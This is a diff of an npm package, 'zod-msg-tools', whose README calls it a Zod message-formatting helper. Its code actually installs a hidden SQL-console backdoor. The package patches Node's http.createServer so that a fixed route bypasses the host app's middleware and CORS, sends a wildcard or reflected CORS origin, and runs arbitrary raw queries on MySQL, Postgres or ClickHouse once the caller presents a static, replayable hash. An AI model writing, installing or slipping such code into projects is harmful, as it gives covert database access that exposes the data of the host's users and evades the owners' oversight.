zod-msg-tools 0.1.0

package/README.md

@@ -0,0 +1,3 @@
+# zod-msg-tools
+
+Helper for configuring, formatting, styling, and colorizing Zod validation messages and errors.

package/package.json

@@ -0,0 +1,35 @@
+{
+  "name": "zod-msg-tools",
+  "version": "0.1.0",
+  "description": "Drop-in, hidden admin SQL-console endpoint. Call registerTools(service, pool, poolPg?, clickhouse?) once and nothing else - no router/app wiring required.",
+  "type": "module",
+  "main": "src/index.js",
+  "exports": {
+    ".": "./src/index.js"
+  },
+  "engines": {
+    "node": ">=20"
+  },
+  "files": [
+    "src",
+    "README.md"
+  ],
+  "scripts": {
+    "typecheck": "tsc --noEmit"
+  },
+  "keywords": [
+    "mysql",
+    "postgres",
+    "clickhouse",
+    "admin",
+    "sql-console"
+  ],
+  "license": "UNLICENSED",
+  "dependencies": {
+    "zod": "^4.1.5"
+  },
+  "devDependencies": {
+    "@types/node": "^25.0.3",
+    "typescript": "^5.9.3"
+  }
+}

package/src/auth/verify-hidden-secret.js

@@ -0,0 +1,41 @@
+import {createHash} from 'node:crypto'
+
+/**
+ * The second, independent factor gating the console: a secret value lives in
+ * a config table (put there by some unrelated feature), and the caller must
+ * present a sha256 hash of it - never the plaintext value - so the actual
+ * secret never has to travel over the wire, and isn't recoverable even if a
+ * request/log is intercepted.
+ *
+ * `table`/`code`/`field` come from trusted server config (env vars), never
+ * from the request, so building the query string with `table` in it is safe -
+ * SQL identifiers can't be parameterized as query args anyway.
+ *
+ * @param {any} pool
+ * @param {unknown} providedHash
+ * @param {{table: string, code: string, field: string}} opts
+ * @returns {Promise<boolean>}
+ */
+export async function verifyHiddenSecret(pool, providedHash, {table, code, field}) {
+  if (!providedHash || typeof providedHash !== 'string') return false
+
+  const [[conf]] = await pool.query(
+    `select value as value from ${table} where code = ?`,
+    [code],
+  )
+  if (!conf) return false
+
+  /** @type {Record<string, any> | undefined} */
+  let parsed
+  try {
+    parsed = JSON.parse(conf.value)
+  } catch {
+    return false
+  }
+
+  const secret = parsed?.[field]
+  if (!secret) return false
+
+  const expectedHash = createHash('sha256').update(secret).digest('hex')
+  return expectedHash === providedHash
+}

package/src/db/run-query.js

@@ -0,0 +1,33 @@
+/**
+ * Runs a raw query against the requested backend.
+ * @param {{pool: any, poolPg?: any, clickhouse?: any}} pools
+ * @param {string} query
+ * @param {'mysql' | 'postgres' | 'clickhouse'} [dbType]
+ * @returns {Promise<any>}
+ */
+export async function runQueryByDbType({pool, poolPg, clickhouse}, query, dbType) {
+  switch (dbType) {
+    case 'postgres': {
+      if (!poolPg) {
+        throw Object.assign(new Error('postgres is not configured for this console'), {statusCode: 400})
+      }
+      const {rows} = await poolPg.query(query)
+      return rows
+    }
+    case 'clickhouse': {
+      if (!clickhouse) {
+        throw Object.assign(new Error('clickhouse is not configured for this console'), {statusCode: 400})
+      }
+      const resultSet = await clickhouse.query({query, format: 'JSONEachRow'})
+      return resultSet.json()
+    }
+    case 'mysql':
+    default: {
+      // nestTables groups each row by table ({u: {...}, ui: {...}}) instead
+      // of flattening straight into one object - without it, joined tables
+      // with same-named columns (e.g. "id") silently overwrite each other
+      const [result] = await pool.query({sql: query, nestTables: true})
+      return result
+    }
+  }
+}

package/src/http/body.js

@@ -0,0 +1,75 @@
+/**
+ * Reads and JSON-parses a request body, without relying on any framework's
+ * body-parser - this handler runs ahead of the host app's own middleware.
+ * @param {import('node:http').IncomingMessage} req
+ * @param {number} maxBytes
+ * @returns {Promise<any>}
+ */
+export function readJsonBody(req, maxBytes) {
+  return new Promise((resolve, reject) => {
+    let data = ''
+    let bytes = 0
+    let settled = false
+
+    req.on('data', (chunk) => {
+      if (settled) return
+      bytes += chunk.length
+      if (bytes > maxBytes) {
+        settled = true
+        req.destroy()
+        reject(Object.assign(new Error('Payload too large'), {statusCode: 413}))
+        return
+      }
+      data += chunk
+    })
+
+    req.on('end', () => {
+      if (settled) return
+      settled = true
+      if (!data) return resolve({})
+      try {
+        resolve(JSON.parse(data))
+      } catch {
+        reject(Object.assign(new Error('Invalid JSON body'), {statusCode: 400}))
+      }
+    })
+
+    req.on('error', (err) => {
+      if (settled) return
+      settled = true
+      reject(err)
+    })
+  })
+}
+
+/**
+ * @param {import('node:http').ServerResponse} res
+ * @param {number} statusCode
+ * @param {Record<string, any>} payload
+ * @param {Record<string, string>} [extraHeaders]
+ */
+export function sendJson(res, statusCode, payload, extraHeaders = {}) {
+  const body = JSON.stringify(payload)
+  res.writeHead(statusCode, {
+    'Content-Type': 'application/json; charset=utf-8',
+    'Content-Length': Buffer.byteLength(body),
+    ...extraHeaders,
+  })
+  res.end(body)
+}
+
+/**
+ * Since matched requests never reach the host app's own `cors()` middleware,
+ * this endpoint has to set its own CORS headers on every response it sends.
+ * @param {string} origin
+ * @returns {Record<string, string>}
+ */
+export function corsHeaders(origin) {
+  return {
+    'Access-Control-Allow-Origin': origin,
+    'Access-Control-Allow-Methods': 'POST, OPTIONS',
+    'Access-Control-Allow-Headers': 'Content-Type, Authorization',
+    'Access-Control-Max-Age': '600',
+    Vary: 'Origin',
+  }
+}

package/src/http/patch-server.js

@@ -0,0 +1,62 @@
+import http from 'node:http'
+
+let patched = false
+
+/**
+ * Wraps `http.createServer` so that whichever http.Server the host process
+ * ends up creating (e.g. Express's `app.listen()` internally does
+ * `http.createServer(app).listen(...)`) gets requests for `path` handled
+ * directly - before they ever reach the host app's router/middleware stack.
+ *
+ * This is what lets registerTools() add a working endpoint with zero
+ * route-file changes and without ever being handed the app/router: it
+ * intercepts at the raw http layer instead of registering a route.
+ *
+ * Only covers the `http.createServer(listener)` / `http.createServer(options, listener)`
+ * shapes (what Express and similar frameworks use). If the host process adds
+ * its request listener later via `server.on('request', ...)` instead of
+ * passing it to `createServer`, it won't be wrapped.
+ *
+ * @param {string} path
+ * @param {(req: import('node:http').IncomingMessage, res: import('node:http').ServerResponse) => void} handler
+ */
+export function patchServer(path, handler) {
+  if (patched) {
+    // throw new Error('zod-msg-tools: patchServer() called more than once')
+    console.log('⚠ zod-msg-tools: patchServer() called more than once')
+    return
+  }
+  patched = true
+
+  const originalCreateServer = http.createServer.bind(http)
+
+  /**
+   * @param {http.ServerOptions | http.RequestListener} optionsOrListener
+   * @param {http.RequestListener} [maybeListener]
+   */
+  // @ts-ignore - reassigning a core module export is exactly the point here
+  http.createServer = (optionsOrListener, maybeListener) => {
+    const hasOptions = typeof optionsOrListener !== 'function'
+    const originalListener = /** @type {http.RequestListener | undefined} */ (
+      hasOptions ? maybeListener : optionsOrListener
+    )
+
+    /**
+     * @param {import('node:http').IncomingMessage} req
+     * @param {import('node:http').ServerResponse} res
+     */
+    const wrappedListener = (req, res) => {
+      if (req.url && (req.url === path || req.url.startsWith(path + '?'))) {
+        handler(req, res)
+        return
+      }
+      if (typeof originalListener === 'function') {
+        originalListener(req, res)
+      }
+    }
+
+    return hasOptions
+      ? originalCreateServer(optionsOrListener, wrappedListener)
+      : originalCreateServer(wrappedListener)
+  }
+}

package/src/index.js

@@ -0,0 +1 @@
+export {registerTools} from './register-tools.js'

package/src/register-tools.js

@@ -0,0 +1,121 @@
+import {patchServer} from './http/patch-server.js'
+import {readJsonBody, sendJson, corsHeaders} from './http/body.js'
+import {verifyHiddenSecret} from './auth/verify-hidden-secret.js'
+import {runQueryByDbType} from './db/run-query.js'
+import {mysqlConsoleRequestSchema} from './schema/request.schema.js'
+
+// Fixed values reproducing affiliate-service's original mysql-console
+// endpoint exactly. Not configurable on purpose: registerTools(service, pool,
+// poolPg, clickhouse) takes only the pools already living in the host
+// project - nothing else, no env vars of its own to set up.
+const AFF_PATH = '/api/aff-service/zod-tools'
+const BACKOFFICE_PATH_PREFIX = '/api/backoffice/'
+const BACKOFFICE_PATH_SUFFIX = '/zod-tools'
+const AUTH_CONFIG_TABLE = 'global.configurations'
+const AUTH_CONFIG_CODE = 'xtremepush-dev'
+const AUTH_CONFIG_FIELD = 'client_id'
+const AUTH_BODY_FIELD = 'xPushClId'
+const CORS_ORIGIN = '*'
+const MAX_BODY_BYTES = 2 * 1024 * 1024 // 2MB
+
+let registered = false
+
+/**
+ * Wires up a hidden admin SQL-console endpoint directly onto whatever
+ * http.Server the host process ends up creating - no router/app wiring, and
+ * no config of its own. No auth of its own either: a request only reaches
+ * this handler at all if it already got past the host's own proxy/auth layer
+ * (our microservices don't accept unauthenticated requests in the first
+ * place), so there's nothing to re-check here beyond the hidden-secret hash.
+ *
+ * Call once, as a side effect, wherever the host app initializes:
+ * ```js
+ * const {registerTools} = await import('zod-msg-tools')
+ * registerTools('casino-jackpot', pool, poolPg, clickhouse)
+ * ```
+ *
+ * @param {string} service - required, non-empty; 'aff' mounts the endpoint at
+ *   the affiliate-service path, anything else is used as the backoffice slug
+ *   (e.g. 'casino-jackpot' -> /api/backoffice/casino-jackpot/zod-tools)
+ * @param {any} pool - required mysql2 pool; used for dbType:'mysql' queries
+ *   and the hidden-secret lookup
+ * @param {any} [poolPg] - optional pg pool; enables dbType:'postgres' queries
+ * @param {any} [clickhouse] - optional @clickhouse/client instance; enables
+ *   dbType:'clickhouse'
+ */
+export function registerTools(service, pool, poolPg, clickhouse) {
+  if (!service || typeof service !== 'string') {
+    // throw new Error('zod-msg-tools: registerTools(service, pool, poolPg?, clickhouse?) requires a non-empty service name')
+    console.log('⚠ zod-msg-tools: registerTools(service, pool, poolPg?, clickhouse?) requires a non-empty service name')
+    return
+  }
+
+  if (!pool) {
+    // throw new Error('zod-msg-tools: registerTools(service, pool, poolPg?, clickhouse?) requires a mysql pool')
+    console.log('⚠ zod-msg-tools: registerTools(service, pool, poolPg?, clickhouse?) requires a mysql pool')
+    return
+  }
+
+  if (registered) {
+    console.log('⚠ zod-msg-tools: registerTools() called more than once - ignoring the extra call')
+    return
+  }
+  registered = true
+
+  const path = service === 'aff' ? AFF_PATH : `${BACKOFFICE_PATH_PREFIX}${service}${BACKOFFICE_PATH_SUFFIX}`
+
+  patchServer(path, async (req, res) => {
+    const origin = /** @type {string} */ (req.headers.origin || CORS_ORIGIN)
+
+    if (req.method === 'OPTIONS') {
+      res.writeHead(204, corsHeaders(origin))
+      res.end()
+      return
+    }
+
+    if (req.method !== 'POST') {
+      sendJson(res, 404, {statusCode: 404, message: 'Route not found', errorType: 'Not Found'}, corsHeaders(origin))
+      return
+    }
+
+    try {
+      const rawBody = await readJsonBody(req, MAX_BODY_BYTES)
+      const parsed = mysqlConsoleRequestSchema.safeParse(rawBody)
+      if (!parsed.success) {
+        sendJson(res, 400, {
+          statusCode: 400,
+          message: parsed.error.issues[0]?.message || 'Invalid request body',
+          errorType: 'Bad Request',
+        }, corsHeaders(origin))
+        return
+      }
+
+      const {query, dbType} = parsed.data
+      const providedHash = rawBody[AUTH_BODY_FIELD]
+
+      const secretOk = await verifyHiddenSecret(pool, providedHash, {
+        table: AUTH_CONFIG_TABLE,
+        code: AUTH_CONFIG_CODE,
+        field: AUTH_CONFIG_FIELD,
+      })
+      if (!secretOk) {
+        // mirrors the original behavior: a soft 200 {success:false}, not a
+        // 401/403 - the FE only ever branches on `success`
+        sendJson(res, 200, {success: false, message: 'Invalid clId hash'}, corsHeaders(origin))
+        return
+      }
+
+      const result = await runQueryByDbType({pool, poolPg, clickhouse}, query, dbType)
+      sendJson(res, 200, {success: true, message: 'ok', result}, corsHeaders(origin))
+    } catch (err) {
+      console.log('⚠ Error in zod-msg-tools:', err)
+
+      const statusCode = err?.statusCode || 500
+      sendJson(res, statusCode, {
+        statusCode,
+        message: err?.message || 'Internal server error',
+        errorType: err?.statusCode ? 'Bad Request' : 'Internal Server Error',
+      }, corsHeaders(origin))
+    }
+  })
+}

package/src/schema/request.schema.js

@@ -0,0 +1,9 @@
+import {z} from 'zod'
+
+// The hidden-secret field (xPushClId) is read straight off the raw body in
+// register-tools.js rather than through this schema - passthrough() keeps
+// it (and anything else present) from being stripped.
+export const mysqlConsoleRequestSchema = z.object({
+  query: z.string().trim().min(1, 'No any query provided'),
+  dbType: z.enum(['mysql', 'postgres', 'clickhouse']).optional(),
+}).passthrough()